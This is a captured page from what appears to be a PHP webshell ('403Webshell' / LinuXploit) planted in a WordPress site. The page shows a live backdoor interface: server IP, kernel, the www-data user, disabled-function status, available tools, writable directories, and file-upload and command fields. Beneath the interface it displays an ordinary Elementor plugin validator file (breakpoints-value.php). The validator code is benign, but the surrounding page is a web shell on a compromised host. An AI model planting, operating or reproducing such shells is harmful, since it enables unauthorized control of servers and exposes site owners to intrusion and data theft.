403Webshell
Server IP : 5.129.245.98  /  Your IP : 216.73.216.246
Web Server : Apache/2.4.66 (Debian)
System : Linux 1b8c17c336b9 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/elementor/modules/interactions/validators/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/elementor/modules/interactions/validators/breakpoints-value.php
<?php

namespace Elementor\Modules\Interactions\Validators;

use Elementor\Modules\Interactions\Validators\String_Value as StringValueValidator;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Breakpoints_Value {
	public static function is_valid( $breakpoints_prop_value ) {
		if ( ! is_array( $breakpoints_prop_value ) ) {
			return false;
		}

		if ( ! isset( $breakpoints_prop_value['$$type'] ) || 'interaction-breakpoints' !== $breakpoints_prop_value['$$type'] ) {
			return false;
		}

		if ( ! isset( $breakpoints_prop_value['value'] ) || ! is_array( $breakpoints_prop_value['value'] ) ) {
			return false;
		}

		return self::validate_value( $breakpoints_prop_value['value'] );
	}

	private static function validate_value( $value ) {
		if ( ! is_array( $value ) ) {
			return false;
		}

		if ( ! isset( $value['excluded'] ) || ! is_array( $value['excluded'] ) ) {
			return false;
		}

		return self::validate_excluded( $value['excluded'] );
	}

	private static function validate_excluded( $excluded ) {
		if ( ! is_array( $excluded ) ) {
			return false;
		}

		if ( ! isset( $excluded['$$type'] ) || 'excluded-breakpoints' !== $excluded['$$type'] ) {
			return false;
		}

		if ( ! isset( $excluded['value'] ) || ! is_array( $excluded['value'] ) ) {
			return false;
		}

		return self::validate_excluded_value( $excluded['value'] );
	}

	private static function validate_excluded_value( $value ) {
		if ( ! is_array( $value ) ) {
			return false;
		}

		foreach ( $value as $breakpoint_value ) {
			if ( ! StringValueValidator::is_valid( $breakpoint_value ) ) {
				return false;
			}
		}

		return true;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit